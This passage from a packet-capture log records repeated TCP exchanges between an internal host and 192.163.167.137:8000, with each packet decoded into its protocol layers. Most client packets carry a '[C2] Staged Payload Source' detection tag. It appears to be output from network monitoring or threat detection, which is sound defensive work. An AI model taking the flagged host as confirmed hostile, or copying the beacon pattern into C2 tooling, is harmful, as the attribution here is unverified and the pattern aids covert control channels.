\"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682808, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38376, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:44.496037,104,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682809,bc2411360d0cbc24112907bb080045000034e24d400040064da6c0a3a7890a98980b1f40fa20b9103678542491f98010003f0af700000101050a542491f8542491f9,\".$.6\n..$.)....E..4.M@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57933, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19878, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682809, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682808, 1411682809))]\"\"}}]\"\n2026-07-01 09:05:45.495967,105,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682808 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afc54000800640390a98980bc0a3a789fa201f40542491f8b91036785010201495e8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44997, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16441, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682808, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38376, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:45.495987,106,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682809,bc2411360d0cbc24112907bb080045000034e24e400040064da5c0a3a7890a98980b1f40fa20b9103678542491f98010003f0af700000101050a542491f8542491f9,\".$.6\n..$.)....E..4.N@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57934, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19877, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682809, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682808, 1411682809))]\"\"}}]\"\n2026-07-01 09:05:46.496027,107,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682808 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afc64000800640380a98980bc0a3a789fa201f40542491f8b91036785010201495e8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44998, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16440, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682808, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38376, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:46.496058,108,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682809,bc2411360d0cbc24112907bb080045000034e24f400040064da4c0a3a7890a98980b1f40fa20b9103678542491f98010003f0af700000101050a542491f8542491f9,\".$.6\n..$.)....E..4.O@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57935, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19876, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682809, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682808, 1411682809))]\"\"}}]\"\n2026-07-01 09:05:47.482094,109,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1411682809 Ack=3104847480,bc24112907bbbc2411360d0c08004500003dafc74000800640230a98980bc0a3a789fa201f40542491f9b910367850182014302a00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 44999, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16419, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682809, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 12330, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:05:47.482130,110,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000028e250400040064dafc0a3a7890a98980b1f40fa20b91036785424920e5010003f0aeb0000,\".$.6\n..$.)....E..(.P@.@.M.....\n....@. ..6xT$..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57936, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19887, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:48.496060,111,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afc84000800640360a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45000, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16438, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:48.496075,112,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e251400040064da2c0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.Q@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57937, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19874, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:49.511783,113,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afc94000800640350a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45001, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16437, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:49.511808,114,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e252400040064da1c0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.R@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57938, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19873, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:50.527422,115,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afca4000800640340a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45002, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16436, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:50.527452,116,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e253400040064da0c0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.S@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57939, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19872, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:51.543077,117,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afcb4000800640330a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45003, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16435, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:51.543104,118,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e254400040064d9fc0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.T@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57940, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19871, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682830, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682829, 1411682830))]\"\"}}]\"\n2026-07-01 09:05:52.558697,119,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682829 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afcc4000800640320a98980bc0a3a789fa201f405424920db91036785010201495d3000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45004, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16434, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682829, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38355, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:52.558730,120,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682830,bc2411360d0cbc24112907bb080045000034e255400040064d9ec0a3a7890a98980b1f40fa20b91036785424920e8010003f0af700000101050a5424920d5424920e,\".$.6\n..$.)....E..4.U@.@.M.....\n....@. ..6xT$.....?\n......\nT$.\nT$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57941, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 